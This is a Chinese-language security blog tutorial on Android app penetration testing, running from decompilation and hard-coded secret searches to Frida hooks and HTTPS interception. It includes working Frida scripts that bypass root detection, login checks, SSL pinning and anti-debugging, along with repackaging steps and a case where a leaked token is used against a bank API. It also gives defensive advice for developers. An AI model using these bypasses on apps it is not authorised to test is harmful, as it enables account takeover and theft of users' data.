PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】Android应用安全测试入门:从反编译到API逆向(含Frida/Objection完整工具链)

📅 2026年6月15日 📁 Hermes Agent ⏱ 6 分钟

适合人群:有基本Web安全基础、想进入移动安全领域的渗透测试人员

前置知识:Java/Python基础、ADB基本操作、APK文件结构概念

实验环境:Ubuntu 22.04 + Android模拟器 + Python 3.8+


一、前置准备

工具安装


# 核心逆向工具链
apt-get install -y apktool dex2jar jadx default-jdk android-sdk
pip3 install frida-tools objection androguard

# APK分析辅助
pip3 install apkleaks quark-engine
npm install -g apk-mitm

# 抓包与调试
# Burp Suite + Frida + 模拟器

# 在线分析平台(辅助)
# https://www.virustotal.com
# https://www.decompiler.com

靶场选择


# 推荐靶场
# InsecureBankv2(安卓银行App安全靶场)
git clone https://github.com/dineshshetty/InsecureBankv2.git
# 或用现成APK直接下载Diva.apk(Damn Insecure and Vulnerable App)
wget https://github.com/Checkmarx/diva-android/releases/latest/download/diva.apk

ADB 连接模拟器


# 启动模拟器后连接
adb devices
# 应看到: emulator-5554 device

# 安装目标APK
adb install diva.apk

# 查看已安装包名
adb shell pm list packages | grep diva

# 启动Activity
adb shell am start -n jakhar.aseem.diva/.MainActivity

二、核心原理

Android 应用安全测试的本质

Android 应用安全测试围绕三个关键问题展开:


APK文件(你下载的安装包)
    │
    ├─ 🔍 反编译 → 读源码 → 找硬编码密钥/API/漏洞
    ├─ 🔧 动态调试 → Hook运行时 → 改返回值/绕认证
    └─ 🌐 网络抓包 → 解HTTPS → 看明文请求/响应

APK 文件结构

组件作用安全关注点
classes.dexDalvik字节码(核心代码)反编译后找漏洞
AndroidManifest.xml权限/组件声明暴露的Activity/ContentProvider
res/资源文件硬编码字符串/API Key
lib/Native SO库反汇编分析
META-INF/签名信息签名绕过/重打包检测
assets/原始资源加密密钥/配置文件

核心攻击面


攻击面                     → 可能发现
├─ 硬编码凭证/密钥          → API Key / Token / 密码
├─ 不安全的本地存储         → SharedPreferences / SQLite明文数据
├─ WebView 漏洞            → XSS / 任意文件读取
├─ HTTPS 未校验证书        → 中间人攻击
├─ Activity/Service暴露    → 越权调用
├─ ContentProvider注入     → SQL注入 / 目录遍历
└─ Native库漏洞            → 缓冲区溢出

三、实操步骤

🔴 第一阶段:静态分析(反编译读源码)

Step 1:解压APK看结构


# jadx 一键反编译(推荐,直接出Java源码)
jadx-gui target.apk
# 或在终端反编译
jadx -d output_dir target.apk
ls output_dir/sources/

# apktool 解包(用于修改后重打包)
apktool d target.apk -o output_apk

Step 2:分析 AndroidManifest.xml


# 查看暴露的组件
aapt dump xmltree target.apk AndroidManifest.xml | grep -E 'activity|service|receiver|provider'

# 关键检查点:
# android:exported="true" 的组件 → 可被外部调用
# android:debuggable="true" → 可调试
# android:allowBackup="true" → 可备份数据

常见发现示例:


<!-- ❌ 暴露的Activity,无需权限可调用 -->
<activity android:name=".AdminPanelActivity" android:exported="true"/>

<!-- ❌ debuggable开启 -->
<application android:debuggable="true" ...>

Step 3:搜索硬编码敏感信息


# 搜索硬编码的API Key / Token
grep -rn "apiKey\|API_KEY\|secret\|password\|token\|jwt" output_dir/sources/ --include="*.java"

# 搜索硬编码URL/端点
grep -rn "https\?://" output_dir/sources/ --include="*.java" | grep -v "google\|android\|example"

# 用 apkleaks 自动化扫描
apkleaks -f target.apk -o report.json
cat report.json | jq '.findings'

典型硬编码发现:


// ❌ 硬编码API密钥
private static final String API_KEY = "AIzaSyBxXxXxXxXxXxXxXxXxXxXxXxXxXxX";

// ❌ 硬编码后端凭证
String loginUrl = "https://api.target.com/v1/login";
String adminPass = "P@ssw0rd!";

Step 4:分析不安全的本地存储


# 安装后查看App本地文件
adb shell
run-as com.target.app
cat /data/data/com.target.app/shared_prefs/*.xml
cat /data/data/com.target.app/databases/*.db

常见漏洞:


<!-- SharedPreferences 存明文密码 -->
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="password">SuperSecret123!</string>
</map>

🔴 第二阶段:动态分析(Hook运行时)

Step 1:Frida 环境准备


# 下载对应架构的 frida-server
wget https://github.com/frida/frida/releases/latest/download/frida-server-16.x.x-android-x86_64.xz
xz -d frida-server-16.x.x-android-x86_64.xz

# 推送到模拟器
adb push frida-server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server

# 启动 frida-server
adb shell /data/local/tmp/frida-server &

Step 2:基础Hook — 绕过root检测

很多App有root检测,用Frida绕过:


// root_bypass.js
Java.perform(function() {
    var RootDetection = Java.use('com.target.app.security.RootDetection');

    RootDetection.isRooted.implementation = function() {
        console.log('[+] Bypassing root check');
        return false;  // 假装没root
    };

    RootDetection.isEmulator.implementation = function() {
        console.log('[+] Bypassing emulator check');
        return false;  // 假装不是模拟器
    };
});

# 运行Hook
frida -U -f com.target.app -l root_bypass.js

Step 3:Hook 返回值 — 绕过认证


// auth_bypass.js
Java.perform(function() {
    // 绕过登录验证
    var LoginActivity = Java.use('com.target.app.ui.LoginActivity');

    LoginActivity.checkCredentials.implementation = function(username, password) {
        console.log('[+] Bypassing login for: ' + username);
        return true;  // 任何账号密码都通过
    };

    // Hook Token验证
    var TokenManager = Java.use('com.target.app.auth.TokenManager');

    TokenManager.isTokenValid.implementation = function() {
        console.log('[+] Pretending token is valid');
        return true;
    };
});

Step 4:Objection 自动化探索


# objection 一键操作(基于Frida的自动化工具)
objection -g com.target.app explore

# 在 objection 控制台中:
# 查看所有类
android hooking list classes

# 搜索包含 "password" 的类
android hooking search classes password

# 列出所有Activity
android hooking list activities

# 禁用SSL Pinning
android sslpinning disable

# 查看SharedPreferences
android sharedpreferences get

🔴 第三阶段:网络抓包(HTTPS解密)

Step 1:Burp Suite 配置代理


# 设置模拟器WiFi代理到Burp
adb shell settings put global http_proxy 192.168.1.100:8080

# 安装Burp CA证书到模拟器
# 1. Burp → Proxy → Options → Import/Export CA certificate
# 2. 导出为 cacert.der
# 3. 推送到模拟器
adb push cacert.der /sdcard/
adb shell
su
cp /sdcard/cacert.der /data/misc/user/0/cacerts-added/9a5ba575.0
chmod 644 /data/misc/user/0/cacerts-added/9a5ba575.0

Step 2:SSL Pinning 绕过

如果App做了证书绑定(SSL Pinning),普通代理抓不到包:


# 方法一:Objection 一键绕过
objection -g com.target.app explore
android sslpinning disable

# 方法二:Frida 脚本绕过
frida -U -f com.target.app -l ssl_bypass.js

// ssl_bypass.js — 通用SSL Pinning绕过
Java.perform(function() {
    // 绕过 OkHttp 的 CertificatePinner
    var CertificatePinner = Java.use('okhttp3.CertificatePinner');
    CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {
        console.log('[+] SSL Pinning bypassed');
    };

    // 绕过 TrustManager
    var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
    X509TrustManager.checkClientTrusted.implementation = function() {};
    X509TrustManager.checkServerTrusted.implementation = function() {};

    // 绕过 HostnameVerifier
    var HostnameVerifier = Java.use('javax.net.ssl.HostnameVerifier');
    HostnameVerifier.verify.implementation = function() {
        return true;
    };
});

Step 3:抓包分析


# 配置好代理并打开Burp后,操作App看流量

# 关键检查点:
# 1. 所有请求是否走HTTPS?
# 2. API参数中是否有敏感信息明文传输?
# 3. Token/Cookie 是否安全传输?
# 4. 是否有未使用的API端点?

🔴 第四阶段:重打包与动态调试

Step 1:修改Smali代码重打包


# 1. 解包
apktool d target.apk -o target_unpacked

# 2. 修改 Smali 代码
# 在 smali/com/target/app/ 下找到目标类
# JADX 反编译找逻辑 → 对应到 Smali

# 3. 重打包
apktool b target_unpacked -o target_modified.apk

# 4. 重新签名(未签名无法安装)
keytool -genkey -v -keystore debug.keystore -alias android \
  -keyalg RSA -keysize 2048 -validity 10000 -storepass android -keypass android
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 \
  -keystore debug.keystore target_modified.apk android

# 5. 安装
adb install target_modified.apk

Step 2:反调试绕过

如果App有反调试/反Hook机制:


// anti_debug_bypass.js
Java.perform(function() {
    // 绕过 Debug.isDebuggerConnected
    var Debug = Java.use('android.os.Debug');
    Debug.isDebuggerConnected.implementation = function() {
        return false;
    };

    // 绕过 检测Frida进程
    var ProcessClass = Java.use('java.lang.Process');

    // 绕过 检测模拟器
    var Build = Java.use('android.os.Build');
    Build.FINGERPRINT.value = "google/walleye/walleye:8.1.0/OPM1.171019.011/12345678:user/release-keys";
    Build.MODEL.value = "Pixel 2";
});

四、绕过技术

4.1 绕过ProGuard/R8混淆


# jadx 自带反混淆
jadx --deobf target.apk

# 手动映射
# 在 proguard 映射文件中查找
cat mapping.txt | grep "targetMethod -> a"

# 用 Frida 枚举类名
frida -U -f com.target.app -l enum_classes.js

// enum_classes.js — 枚举所有已加载类
Java.perform(function() {
    Java.enumerateLoadedClasses({
        onMatch: function(className) {
            if (className.toLowerCase().indexOf("target") >= 0) {
                console.log(className);
            }
        },
        onComplete: function() {}
    });
});

4.2 绕过签名校验


# 移除签名校验的几种方法:
# 方法1:在Smali中nop掉签名校验调用
# 搜索: invoke-static {...} Lcom/target/app/SignatureCheck;->verify()Z
# 改为: const/4 v0, 0x1

# 方法2:使用 Lucky Patcher(Android端)
# 方法3:用 Frida Hook 返回值

4.3 绕过模拟器检测


# 修改build.prop
# /system/build.prop 中修改 ro.product.model / ro.build.fingerprint
adb root
adb remount
adb shell "sed -i 's/ro.product.model=.*/ro.product.model=Pixel 6/' /system/build.prop"

五、实战案例复盘

案例:某银行App API密钥泄露

场景:某金融App存在API端点的硬编码密钥,可通过反编译直接提取。

步骤

  1. 静态分析发现线索

jadx -d output/ bank.apk
grep -rn "api\|token\|secret\|key" output/sources/ --include="*.java"
  1. 发现硬编码

// 在 OkHttpClient 初始化中发现了硬编码 Token
public class ApiClient {
    private static final String API_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0";

    public static OkHttpClient getClient() {
        return new OkHttpClient.Builder()
            .addInterceptor(new Interceptor() {
                @Override
                public Response intercept(Chain chain) {
                    Request request = chain.request().newBuilder()
                        .addHeader("Authorization", "Bearer " + API_TOKEN)
                        .build();
                    return chain.proceed(request);
                }
            })
            .build();
    }
}
  1. 利用:直接用这个Token访问后端API:

curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  https://api.target.com/v1/user/profile
  1. 结果:Token有效,直接获取到用户数据和转账接口。

六、防御建议

开发者防护清单

风险点修复方案
硬编码密钥使用密钥管理服务 / 运行时动态获取
不安全本地存储使用 EncryptedSharedPreferences / KeyStore
SSL Pinning不足Certificate Pinning + 证书透明度校验
调试标志开启发布版本关闭 android:debuggable
Activity暴露设置 android:exported="false",添加权限校验
代码混淆ProGuard/R8 + 自定义映射规则
Native库漏洞SO库安全编码 + 完整性校验
API越权服务端做二次校验,不信任客户端数据

安全测试自动化工具


# 自动化检测脚本(集成上述所有检查点)
pip3 install mobsf  # Mobile Security Framework
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf

# 跑静态分析
mobsf --upload target.apk --scan-type apk

# 一键漏洞扫描
quark-engine -a target.apk -s

七、常见陷阱

#陷阱正确做法
1只做静态分析静态+动态结合,很多逻辑在运行时才触发
2忘记绕过SSL Pinning不绕SSL Pinning就抓不到真实流量
3模拟器检测被识别使用真实设备或Frida绕过检测
4签名校验阻止重打包先分析签名校验代码再修改
5认为混淆=安全混淆只增加阅读难度,不增加安全性
6忽略Native库SO库中的逻辑同样需要分析
7只测登录接口所有功能点(分享、导出、支付)都要测

八、总结(含速查表)

安卓安全测试五步法


① 反编译 → ② 静态分析 → ③ 动态Hook → ④ 网络抓包 → ⑤ 重打包验证

关键工具速查表

工具用途命令示例
jadx反编译Java源码jadx -d out/ target.apk
apktool解包/重打包apktool d target.apk / apktool b dir/
frida动态Hookfrida -U -f com.app -l script.js
objection自动化探索objection -g com.app explore
adb设备调试adb shell / adb install
MobSF自动化安全扫描mobsf --upload target.apk
Quark漏洞规则引擎quark-engine -a target.apk

Frida 常用Hook模板


// Hook方法返回值
Java.perform(function() {
    var TargetClass = Java.use('com.target.ClassName');
    TargetClass.methodName.implementation = function(arg) {
        console.log('[+] Hooked: ' + arg);
        return true;  // 返回预期值
    };
});

关键检查清单


# 反编译后必查三项
grep -rn "api_key\|secret\|password" --include="*.java" output/
grep -rn "content://" --include="*.xml" output/
grep -rn "http://" --include="*.java" output/

# 安装后必查三项
adb shell cat /data/data/com.app/shared_prefs/*.xml
adb shell cat /data/data/com.app/databases/*.db
adb shell pm dump com.app | grep -E "exported=true|permission=null"
← 返回首页